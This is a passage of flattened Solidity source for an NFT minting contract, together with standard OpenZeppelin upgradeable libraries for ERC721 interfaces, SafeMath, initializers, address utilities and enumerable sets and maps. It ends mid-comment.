import "./NFT721Market.sol";
import "./NFT721Metadata.sol";
/**
* @notice Allows creators to mint NFTs.
*/
abstract contract NFT721Mint is Initializable, ERC721Upgradeable, NFT721Creator, NFT721Market, NFT721Metadata {
uint256 private nextTokenId;
event Minted(
address indexed creator,
uint256 indexed tokenId,
string indexed indexedTokenIPFSPath,
string tokenIPFSPath
);
/**
* @notice Gets the tokenId of the next NFT minted.
*/
function getNextTokenId() public view returns (uint256) {
return nextTokenId;
}
/**
* @dev Called once after the initial deployment to set the initial tokenId.
*/
function _initializeNFT721Mint() internal initializer {
// Use ID 1 for the first NFT tokenId
nextTokenId = 1;
}
/**
* @notice Allows a creator to mint an NFT.
*/
function mint(string memory tokenIPFSPath) public returns (uint256 tokenId) {
tokenId = _mintToken(tokenIPFSPath);
}
/**
* @notice Allows a creator to mint an NFT and set approval for the Foundation marketplace.
* This can be used by creators the first time they mint an NFT to save having to issue a separate
* approval transaction before starting an auction.
*/
function mintAndApproveMarket(string memory tokenIPFSPath) public returns (uint256 tokenId) {
tokenId = _mintToken(tokenIPFSPath);
setApprovalForAll(getNFTMarket(), true);
}
function _mintToken(string memory tokenIPFSPath) private returns (uint256 tokenId) {
tokenId = nextTokenId++;
_mint(msg.sender, tokenId);
_updateTokenCreator(tokenId, msg.sender);
_setTokenIPFSPath(tokenId, tokenIPFSPath);
emit Minted(msg.sender, tokenId, tokenIPFSPath, tokenIPFSPath);
}
/**
* @dev Explicit override to address compile errors.
*/
function _burn(uint256 tokenId) internal virtual override(ERC721Upgradeable, NFT721Creator, NFT721Metadata) {
super._burn(tokenId);
}
uint256[1000] private ______gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMapUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
